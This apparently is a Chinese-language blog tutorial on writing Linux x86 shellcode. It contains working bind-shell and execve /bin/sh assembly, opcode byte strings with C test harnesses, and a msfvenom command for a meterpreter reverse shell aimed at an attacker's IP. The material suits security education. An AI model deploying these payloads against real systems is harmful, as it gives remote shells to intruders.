Linux下x86 shellcode技术学习 2019-12-19 05:52:34 Steven Xeldax ## Linux 下shellcode的技巧 shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他位shellcode。shellcode基本的编写方式有以下三种: 1. 直接编写十六进制操作码。 2. 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。 3. 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。 ### 开始一个shellcode 最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件十分美妙的事情了,接下来我们就来看下新的shell如何产生。一个最基本的关键点就是在shellcode中不能出现\x00也就是null字符,当出现null字符的时候将会导致shellcode被截断,从而无法完成其应有的功能。 **第一点eax操作产生00** 不要使用mov对eax,ebx整个寄存器进行操作。 ``` 8048074: b8 04 00 00 00 mov $0x4,%eax ``` 可以看到在使用mov的时候如果32位数据没有被完全使用那么就会使用00来进行填充,所以我们在对eax进行操作的时候可以变向的使用ax来进行操作,ax是16位的xxxx,继续通过al以及ah来进行操作,这样就可以避免00的产生。 例如: mov eax,1 就可以变成 mov al,1 就解决了00截断的问题 **第二点等效替换** 有一些产生00的命令可以用等效的来进行替换 例如 mov eax,0必定会产生00,所以我们可以使用xor eax,eax来进行等效替换 例如你要push一个0,这样肯定会产生00截断,所以我们要使用具有00内容的寄存器来传入。 一般来说本地一个新的shell对于远程目标有时候不会有什么用,这时候我们需要在远程目标上打开一个可交互的shell。 首先来看下bindshell所需要使用的函数以及编写过程。 ---------- 首先要建立一个socket server=socket(2,1,0) 建立一个sockaddr_in结构,包含ip和端口信息 将端口和ip绑定到socket,调用bind() 打开端口监听socket,调用listen() 当有连接时向客户端返回一个句柄,调用accept() 将返回的句柄复制到stdin,stdout调用dup2() 调用execve执行/bin/bash --------- socket函数原型 > socket(AF_INET, SOCK_STREAM, 0) 第一个参数 ``` #define AF_UNSPEC 0 #define AF_UNIX 1 /* Unix domain sockets */ #define AF_INET 2 /* Internet IP Protocol */ #define AF_AX25 3 /* Amateur Radio AX.25 */ #define AF_IPX 4 /* Novell IPX */ #define AF_APPLETALK 5 /* Appletalk DDP */ #define AF_NETROM 6 /* Amateur radio NetROM */ #define AF_BRIDGE 7 /* Multiprotocol bridge */ #define AF_AAL5 8 /* Reserved for Werner's ATM */ #define AF_X25 9 /* Reserved for X.25 project */ #define AF_INET6 10 /* IP version 6 */ #define AF_MAX 12 /* For now.. */ ``` 第二个参数 ``` #define SOCK_STREAM 1 /* stream (connection) socket */ #define SOCK_DGRAM 2 /* datagram (conn.less) socket */ #define SOCK_RAW 3 /* raw socket */ #define SOCK_RDM 4 /* reliably-delivered message */ #define SOCK_SEQPACKET 5 /* sequential packet socket */ #define SOCK_PACKET 10 /* linux specific way of */ ``` 第三个参数 ``` SOCK_NONBLOCK 0 SOCK_CLOEXEC 1 ``` bind函数 > bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 第一个参数 socket创建的套接字句柄 第二个参数 ``` serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(5000); ``` 第三个参数 serv_addr的大小 listen函数 ``` listen(listenfd, 10); ``` accept函数 ``` accept(listenfd, (struct sockaddr*)NULL, NULL); ``` dup2函数 复制文件句柄 ``` dup2(int oldfd, int newfd) ``` ### 关于socketcall的一些事 socketcall的系统调用号是102,该系统调用号需要两个参数,第一个参数是一个整数值,存放在ebx寄存器中,对于一个bindshell我们只需要用到4个数值,分别是: ``` SYS_SOCKET 1 SYS_BIND 2 SYS_LISTEN 4 SYS_ACCEPT 5 ``` 第二个参数是一个指针,指向一个参数数组,把它存放在ecx寄存器中。 下面开始写socket shellcode: 首先清空寄存器,如果不清空可能会导致在运行shellcode传入非0脏数据 ``` xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx xor esi,esi ``` 然后调用socket函数,注意push的时候函数参数是反过来的socket(2,1,0)调用push的顺序是0然后1然后2。 ``` push eax push 0x1 push 0x2 ``` 把esp作为指针传入ecx当中。 ``` mov ecx,esp inc bl ;mov bl ,1; #define SYS_SOCKET 1 mov al,0x66 int 80h mov esi,eax ``` 调用sys_setsockopt ``` mov al, 102 ; syscall 102 - socketcall mov bl, 14 ; socketcall type (sys_setsockopt 14) push 4 ; sizeof socklen_t push esp ; address of socklen_t - on the stack push 2 ; SO_REUSEADDR = 2 push 1 ; SOL_SOCKET = 1 push esi ; sockfd mov ecx, esp ; ptr to argument array int 0x80 ; kernel interrupt ``` 调用bind 注意这里必须是WORD,不然就只有16位 ``` push edx push WORD 0x672b push WORD 2 mov ecx,esp push 0x10 push ecx push esi mov ecx,esp mov bl,2 mov al,0x66 int 80h ``` eg 在调用push 0x672b后结果: 调用listen ``` push edx push esi mov ecx,esp mov bl,0x4 mov al,0x66 int 80h ``` 调用accept ``` push edx push edx push esi mov ecx,esp mov bl,0x5 mov al,0x66 int 80h ``` 调用dup2 ``` mov ebx,eax xor ecx,ecx mov al,0x3f int 80h mov cl,1 mov al,0x3f int 80h mov cl,2 mov al,0x3f int 80h ``` 安心execve ``` push edx push 0x68732f2f push 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0xb int 80h ``` ### c语言实现execve系统调用创建shell #### 通用模板 构造汇编程序来执行某段逻辑获取shell或者反弹shell ``` global _start section .text _start: xor eax,eax xor ecx,ecx push eax push "//sh" push "/bin" mov al,0xb mov ebx,esp int 80h ``` #### 汇编编译链接 > nasm -f elf 3.asm&&ld -melf_i386 3.o #### 提取shellcode编码 > objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' #### 植入模板测试 模板一 ``` #include <stdio.h> char shellcode[]= "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x31\xd2" "\xb0\x0b" "\xcd\x80"; int main() { void (*fp) (void); fp=(void *)shellcode; fp(); } ``` 模板二 ``` #include<stdio.h> #include<string.h> unsigned char code[] = \ "\xeb\x07\x5b\x31\xc0\xb0\x0b\xcd\x80\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } ``` 区分函数指针 指针函数:int* fun(int x,int y); 函数指针:int (*fun)(int x,int y); 一个函数标识符就表示了它的地址,如果是函数调用,还必须包含一个圆括号括起来的参数表 ### 利用工具生成payload ``` msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址 LPORT=攻击者端口 -e x86/shikata_ga_nai -b '\x00' -i ``` 迭代次数 -f c ``` -p去指定payload为 windows/meterpreter/reverse_tcp LHOST 和LPORT 指定攻击者ip和端口 -e指定x86/shikata_ga_nai 编码器 -i 指定迭代为如 5次 或10次等 -f 指定输出的格式 如c 代码 、或者python等其他格式的代码 -f参数可以参考msfvenom的帮助参数 查看-f的支持格式 ``` ### 利用pwntools ``` 32位:shellcraft.i386.linux.sh() 64位: shellcraft,amd64.linux.sh() ``` ### 参考资料 https://www.jianshu.com/p/eb75426b85cb http://syscalls.kernelgrok.com/ https://www.cnblogs.com/ichunqiu/p/7273935.html https://blog.csdn.net/asmxpl/article/details/21888133